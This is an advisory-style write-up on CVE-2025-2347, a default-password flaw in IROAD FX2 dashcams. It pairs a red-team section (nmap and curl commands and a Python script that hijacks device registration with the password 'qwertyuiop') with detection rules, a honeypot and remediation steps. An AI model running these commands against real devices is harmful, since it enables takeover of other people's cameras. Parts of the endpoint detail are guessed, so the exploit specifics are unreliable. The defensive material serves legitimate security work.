CVE-2025-2347

Executive Summary

CVE-2025-2347 identifies a critical security flaw in IROAD Dash Cam FX2 devices (up to firmware version 20250308). The vulnerability resides in the Device Registration component, where the device accepts the default password qwertyuiop for authentication. This allows an attacker within the local network to register a new device or hijack an existing one, gaining unauthorized administrative access. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available at this time.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware firmware issue affecting IROAD Dash Cam FX2 devices.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Adjacent Network (A) – requires local network access.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no prior authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – exploitation does not affect other components.
• Confidentiality (C): High (H) – full access to device data.
• Integrity (I): High (H) – ability to modify device settings.
• Availability (A): High (H) – potential to disrupt device operation.

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The exploit is public, and the attack vector is low complexity. Unpatched devices are at immediate risk.

Deep Dive & Mechanics

The vulnerability is a classic case of hardcoded or default credentials. The IROAD Dash Cam FX2's Device Registration process does not enforce a password change upon initial setup. By sending a registration request with the password qwertyuiop, an attacker can:

1. Register a new device: If the device is not yet registered, the attacker can claim ownership.
2. Hijack an existing device: If the device is already registered, the attacker can potentially re-register it, overwriting the legitimate owner's credentials.

The attack is limited to the local network, meaning the attacker must be connected to the same Wi-Fi or Ethernet network as the dashcam. This reduces the attack surface but still poses a significant risk in shared environments (e.g., parking garages, fleet vehicles, or home networks with compromised IoT devices).

The core issue is the lack of a mandatory password change policy and the use of a predictable default password.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable behavior.

Vulnerable (IROAD FX2 firmware <= 20250308):

The device registration endpoint likely accepts a password field without validating if it has been changed from the default. The following pseudocode illustrates the flaw:

# Vulnerable registration handler
def register_device(request):
    password = request.get('password')
    # No check if password is default
    if password == 'qwertyuiop':
        # Grant registration
        return "Registration successful"
    else:
        return "Invalid password"

Patched (Hypothetical):

A patched version would enforce a password change on first login and reject the default password for registration:

# Patched registration handler
def register_device(request):
    password = request.get('password')
    # Reject default password
    if password == 'qwertyuiop':
        return "Error: Default password not allowed. Please change your password."
    # Additional validation
    if not is_password_strong(password):
        return "Error: Password does not meet strength requirements."
    # Proceed with registration
    return "Registration successful"

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• IROAD Dash Cam FX2 on the same local network.
• Attacker machine (e.g., Kali Linux) with network access.

Exploitation Steps:

1. Discover the device: Use Nmap to find the dashcam on the network.

   nmap -sn 192.168.1.0/24
   

   Look for open ports commonly used by IROAD devices (e.g., 80, 443, 8080).

2. Identify the registration endpoint: Use a tool like Burp Suite or curl to probe the device's web interface.

   curl -X POST http://<device_ip>/register -d "password=qwertyuiop"
   

3. Register/Hijack the device: If the endpoint is vulnerable, the device will accept the default password.

   curl -X POST http://<device_ip>/register -d "password=qwertyuiop&device_id=attacker_device"
   

4. Gain access: Once registered, the attacker can log in with the default password and access all device functions (live feed, settings, etc.).

Exploit Code (Python):

import requests

target_ip = "192.168.1.100"  # Replace with actual IP
register_url = f"http://{target_ip}/register"

payload = {
    "password": "qwertyuiop",
    "device_id": "attacker_device"
}

response = requests.post(register_url, data=payload)
if "successful" in response.text:
    print("[+] Device registered successfully!")
else:
    print("[-] Registration failed.")

Blue Team (Defender)

Detection & Prevention:

1. Network Monitoring: Monitor for unusual registration attempts. Look for multiple failed login attempts or registration requests with the default password.
2. Device Hardening: Immediately change the default password on all IROAD FX2 devices. If the device does not allow password change, isolate it on a separate VLAN.
3. Firmware Updates: Check for firmware updates from IROAD. If none are available, consider replacing the device.
4. Access Control: Restrict network access to the dashcam. Only allow trusted devices to communicate with it.

Honeypot Setup:

Deploy a fake IROAD FX2 device on the network to detect scanning and exploitation attempts.

# Simple honeypot to log registration attempts
from flask import Flask, request

app = Flask(__name__)

@app.route('/register', methods=['POST'])
def register():
    password = request.form.get('password')
    if password == 'qwertyuiop':
        print(f"[ALERT] Default password attempt from {request.remote_addr}")
    return "Registration failed", 401

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Indicators of Compromise (IOCs)

• Network Traffic:
  • HTTP POST requests to /register endpoint with password=qwertyuiop.
  • Unusual device registration events from unknown MAC addresses.
• Logs:
  • Device logs showing successful registration with default password.
  • Repeated login attempts with default credentials.
• File System:
  • No specific file-based IOCs, as this is a network-based attack.

Detection Engineering

YARA Rule

rule IROAD_Default_Password_Exploit {
    meta:
        description = "Detects network traffic containing the default password for IROAD FX2 dashcam"
        author = "Valters IT"
        date = "2025-03-09"
        reference = "CVE-2025-2347"
    strings:
        $password = "qwertyuiop"
        $endpoint = "/register"
    condition:
        $password and $endpoint
}

Sigma Rule

title: IROAD FX2 Default Password Registration Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to register an IROAD FX2 dashcam using the default password
author: Valters IT
date: 2025/03/09
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2347
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/register'
        cs-username: 'qwertyuiop'
    condition: selection
falsepositives:
    - Legitimate first-time setup (if not changed)
level: high

Suricata Rule

alert http any any -> any any (msg:"IROAD FX2 Default Password Registration Attempt"; flow:to_server; content:"POST"; http_method; content:"/register"; http_uri; content:"password=qwertyuiop"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Default Password: If possible, change the device password immediately. If the device does not allow this, disconnect it from the network.
2. Network Segmentation: Place the dashcam on a separate VLAN with strict access controls.
3. Monitor Logs: Enable logging and monitor for any suspicious registration attempts.

Long-Term Fixes:

1. Firmware Update: Await an official patch from IROAD that enforces password change on first login.
2. Device Replacement: If no patch is forthcoming, replace the device with a more secure alternative.
3. Vendor Communication: Report the issue to IROAD and request a security update.

Workaround:

If the device cannot be updated, disable remote access and only allow local access via a secure, isolated network.

Valters IT